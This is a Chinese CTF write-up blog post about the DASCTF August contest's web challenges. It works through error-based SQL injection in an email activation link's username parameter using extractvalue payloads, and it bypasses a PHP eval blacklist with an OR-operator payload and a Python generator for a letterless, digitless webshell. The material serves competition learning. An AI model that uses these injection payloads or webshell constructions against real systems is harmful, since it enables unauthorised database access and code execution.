文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-09-05   1.1k

DASCTF八月赛 Web Writeup

安恒大学

考点

  • 渗透测试
  • SQL报错注入

解题

y1ng师傅出的一道题,非常顶,可以说是这是一道实战改编题,y1ng师傅在做渗透测试时,在一个系统的某个不起眼的地方——邮件激活链接发现了SQL注入,并得到了全校所有学生的内网平台账号密码,而学生的所有信息、所有网上办事等等几乎都使用校内网平台的账号密码。

其实比赛的时候主办方也提醒了邮箱不要随便填,不过当时还是没能察觉到邮件激活链接中的一个参数存在SQL注入。

现在正式解题,直接看邮件激活链接:

1
http://183.129.189.60:10048/doAction.php?act=active&username=ca01h&token=cf42313ae7812e9234d5b378f095e688

注入点在username参数,说一下我的解题过程:

首先使SQL语句报错

再尝试万能注入payload:

好像可以使用盲注,再尝试ca01h2' or if(length(select database())>1, 1, 0)--+,结果直接SQL语句报错

盲注不行,联合注入被过滤,那么接着试一下报错注入:

成功爆出当前用户名,接下来的工作就是拿数据。

爆表名:

1
ca01h2' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)))--+

一共有三个表:student, teachers, users

爆列名:

1
ca01h2' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='student' limit 0,1),0x7e)))--+

student表一共四个字段:id, username, age, sex

teachers表:id, f1aaaag,

爆数据:

1
ca01h2' and (extractvalue(1,concat(0x7e,(select reverse(f1aaaag) from teachers limit 11,1),0x7e)))--+

rceme

考点

  • 无字母数字webshell

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('you are not smart');
}
}
eval("echo($code)");
?>

过滤了所有字母数字和部分逻辑运算符以及常用于构造webshell的^~&等符号。

但是还有一个逻辑运算符放出来了 |或运算。

payload:

1
code=('````````'|'	')('/````'|'/'));//

应该是可以用python脚本fuzz出来的。

y1ng师傅的方法,直接不用或运算符,TQLLLLLL,代码看不太懂,膜就完事。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote_plus

def g(payload, buff):
offset = 3 + buff
res = ""
base = 65
for i in range(len(payload)):
if payload[i] == '_' or payload[i] == '/':
continue
_ascii = ord(payload[i])
#init
underline = "$" + ("_" * (i + offset))
undefined = "$" + ("_" * (len(payload) + offset + 15))
var = f"++{underline};$__-={underline};$__++;{underline}/=$__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++$__};$__--;"
res += var;
tmp = ''
if _ascii > base:
for i in range(_ascii-base):
tmp = tmp + f"++{underline};"
res += tmp

first = "$" + ("_" * offset)
for i in range(1, len(payload)):
if payload[i] == '_':
res += f"{first}.='_';"
continue
if payload[i] == '/':
res += f"{first}.='/';"
continue
final_var = "$" + ("_" * (i + offset))
res += f"{first}.={final_var};"
return [res, "$" + "_" * (offset)]

pre = "'');"
after = '//'

buff = len('STRTOLOWERSHOW_SOURCE')
flag = g("/FLAG", buff)

buff = len('STRTOLOWER')
showsource = g("SHOW_SOURCE", buff)

buff = 0
strtolower = g('STRTOLOWER', buff)

final = ''

#1.构造STRTOLOWER并存进变量a
final += strtolower[0]
a = strtolower[1] # a = '$___' # STRTOLOWER

#2.构造SHOW_SOURCE并存进变量b
final += showsource[0]
b = showsource[1] # b = '$_____________' #SHOW_SOURCE

#3.构造/FLAG并存进变量c
final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
c = flag[1] # c = '$________________________' #/FLAG

#声明好abc变量
padding = f'$______________________________________________={a};$_______________________________________________={b};$________________________________________________={c};'
final += padding

# 4.变量d = a(c) 则变量d为/flag
d = "$______________________________________________($________________________________________________);"
padding = '$_________________________________________________='+d
final += padding

#5. b(d) 即为SHOW_SOURCE('/flag')
final += '$_______________________________________________($_________________________________________________);'

final = pre + final
final = final + after

print(final.replace('+', '%2b'))

ezflask

TODO

Reference

https://www.gem-love.com/ctf/2598.html

http://phoebe233.cn/?p=248

https://rce.moe/2020/08/25/GeekPwn-2020-云上挑战赛-cosplay-writeup/

Copyright © ca01h 2019-2020 | 本站总访问量